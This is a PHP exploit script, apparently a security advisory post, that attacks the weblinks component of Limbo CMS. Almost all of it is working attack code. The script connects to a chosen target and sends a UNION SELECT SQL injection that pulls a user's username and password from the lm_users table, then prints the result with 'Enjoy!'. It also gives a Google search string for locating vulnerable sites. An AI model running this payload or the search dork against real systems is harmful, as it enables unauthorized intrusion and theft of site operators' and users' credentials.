Limbo CMS (option=weblinks) SQL injection exploit

<pre>
[i] Limbo CMS (option=weblinks) sql injection exploit
[i] Cyber-Security.ORG | Security Advisory | Security Edithor by SnoB | Turkish hacking |
security{!}
<?php

if( (!isset($_GET['host'])) || (!isset($_GET['path'])) || (!isset($_GET['id'])))
{
?>
[] Usage: <?echo htmlentities($PHP_SELF)?>?host=[hostname]&path=[limbo_path]&id=[user_id]
[] Exemple: <?echo htmlentities($PHP_SELF)?>?host=127.0.0.1&path=/limbo&id=1

[g] Google: inurl:"index2.php?option=rss" OR "powered By Limbo CMS"
<?php
die;
}

$host = $_GET['host'];
$path = $_GET['path'];
$id = $_GET['id'];

$success = 0;

$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
die("[-] Connection Error!");
}
else {

$out = "GET
$path/index.php?option=weblinks&Itemid=44&catid=-1%20union%20select%200,1,2,concat(char(0x6c,0x6f,0x67,0x69,0x6e,0x3a),username,char(0x20,0x70,0x61,0x73,0x73,0x77,0x6f,0x72,0x64,0x3a),password),4,5,6,7,8,9,10,11%20from%20lm_users%20where%20id=$id/*
HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
while (!feof($fp)) {
$f = fgets($fp, 1024);
if ( (preg_match("/<div class=\"componentheading\" >/",$f)) &&
(preg_match("/login/",$f)) )
{
echo "$f";
echo "[+] Enjoy! :><br>";
$success = 1;
}
}
fclose($fp);

if (!$success)
echo "<br>[-] exploit failed :<<br>";
}
?>
</pre>